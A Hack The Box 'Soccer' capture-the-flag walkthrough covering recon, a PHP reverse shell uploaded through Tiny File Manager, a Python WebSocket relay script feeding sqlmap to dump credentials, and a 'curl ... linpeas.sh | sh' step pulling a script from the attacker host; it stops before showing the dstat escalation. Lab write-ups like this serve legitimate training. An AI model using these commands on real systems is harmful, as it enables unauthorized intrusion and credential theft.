Skip to content

Soccer - HTB - Writeup

░█▀▀░█▀█░█▀▀░█▀▀░█▀▀░█▀▄
░▀▀█░█░█░█░░░█░░░█▀▀░█▀▄
░▀▀▀░▀▀▀░▀▀▀░▀▀▀░▀▀▀░▀░▀

We can start off with an AutoRecon scan. It takes a little while but, immediately outputs 3 ports to look into.

┌──(root㉿kali)-[/home/c4]
└─# autorecon 10.129.15.189
[*] Scanning target 10.129.15.189
[*] [10.129.15.189/all-tcp-ports] Discovered open port tcp/80 on 10.129.15.189
[*] [10.129.15.189/all-tcp-ports] Discovered open port tcp/22 on 10.129.15.189
[*] [10.129.15.189/all-tcp-ports] Discovered open port tcp/9091 on 10.129.15.189

We check out port 80 in the browser but, it seems to be trying to autoconvert to a dns name of soccer.htb. Let's add it to our etc/hosts file.

AutoRecon came back with some stuff, but, I guess since I didnt add to /etc/hosts first then it wanted to act special.

Let's do some manual recon with Dirsearch and see what it produces. Looks like we pulled a /tiny post. Let's navigate over to it and check it out.

I tried out some typical username/passwords to no avail. I googled Tiny File Manager https://github.com/prasathmani/tinyfilemanager/wiki/Security-and-User-Management#password

Well we know it's a PHP site and it allows us the ability to upload so let's give pentestmonkey's tool a shot.

git clone https://github.com/pentestmonkey/php-reverse-shell.git
Make sure to fill in your ATTACKER BOX info.

Turns out the root section did not let me upload but, the tiny folder does. This interface gives us the ability to click a direct link option. The tiny folder doesnt allow us to execute but, theres a upload folder inside that does.

We can spin up a netcat session then click the link icon to trigger the shell.

We can use which to check for programs installed to upgrade our TTY Shell. We found python3 was installed and can use it to upgrade shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'
## Let's upgrade it by (Ctrl^Z)
stty raw -echo && fg
## It might look funny just type ```ls```

Doing a little enumeration we come accross some nginx config files leading us to believe there is another website/url. Let's update our etc/hosts file to reflect an additional url.

Doing a little enumeration on the website we see a login page, and a few others.

We can run dirsearch against this new url and we see a /check that doesn't show up and we can navigate to it. Probably behind the login wall. On the match page it talks about getting a free ticket when you sign up. Let's give that a shot.

We can inspect this page and see what kind of information is on this page. It looks like there is a script on this page that's connecting to a database over port 9091 and grabbing the ticket number based on ID.

Doing some recon we find an article about exploiting SQLI with a WebSocket(WS). We can use the python script to stand up our own local server but, pass in the website's as well from the script we just found.

┌──(root㉿kali)-[/home/…/Documents/ctf/htb/soccer]
└─# cat sqli.py                              
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091"

def send_ws(payload):
        ws = create_connection(ws_server)
        # If the server returns a response on connect, use below line
        #resp = ws.recv() # If server returns something like a token on connect you can find and extract from here

        # For our case, format the payload in JSON
        message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
        data = '{"id":"%s"}' % message

        ws.send(data)
        resp = ws.recv()
        ws.close()

        if resp:
                return resp
        else:
                return ''

def middleware_server(host_port,content_type="text/plain"):

        class CustomHandler(SimpleHTTPRequestHandler):
                def do_GET(self) -> None:
                        self.send_response(200)
                        try:
                                payload = urlparse(self.path).query.split('=',1)[1]
                        except IndexError:
                                payload = False

                        if payload:
                                content = send_ws(payload)
                        else:
                                content = 'No parameters specified!'

                        self.send_header("Content-type", content_type)
                        self.end_headers()
                        self.wfile.write(content.encode())
                        return

        class _TCPServer(TCPServer):
                allow_reuse_address = True

        httpd = _TCPServer(host_port, CustomHandler)
        httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")

try:
        middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
        pass

We will need two terminals: 1st Terminal:

python3 sqli.py
2nd Terminal:
## Replace <ID> with your Ticket #
sqlmap -u "http://localhost:8081/?id=<ID>" --batch –dbs

We collected the DB names:

available databases [5]:
[*] informati
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

We can now try to grab for the tables of soccer_db

└─# sqlmap -u "http://localhost:8081/?id=<ID>" --risk 3 --level 5 --batch --tables -D soccer_db
Looks like there is only one table in there called accounts

We can dump the creds using the below. I added --threads 10 to speed it up a little bit.

sqlmap -u "http://localhost:8081/?id=64043" --risk 3 --level 5 --batch -T accounts -D soccer_db -dump --threads 10

From enumeration earlier there was a home directory for player. Let's try these creds again the open SSH.

Priv Esc

Next let's see about getting root. Let's check for curl to see if I can just host on my AttackBox and then execute here. Turns out we can.

player@soccer:~$ which curl
/usr/bin/curl
player@soccer:~$ curl http://10.10.16.9/linpeas.sh | sh

Something interesting about dstat Took a little while to find a way to exploit it easily.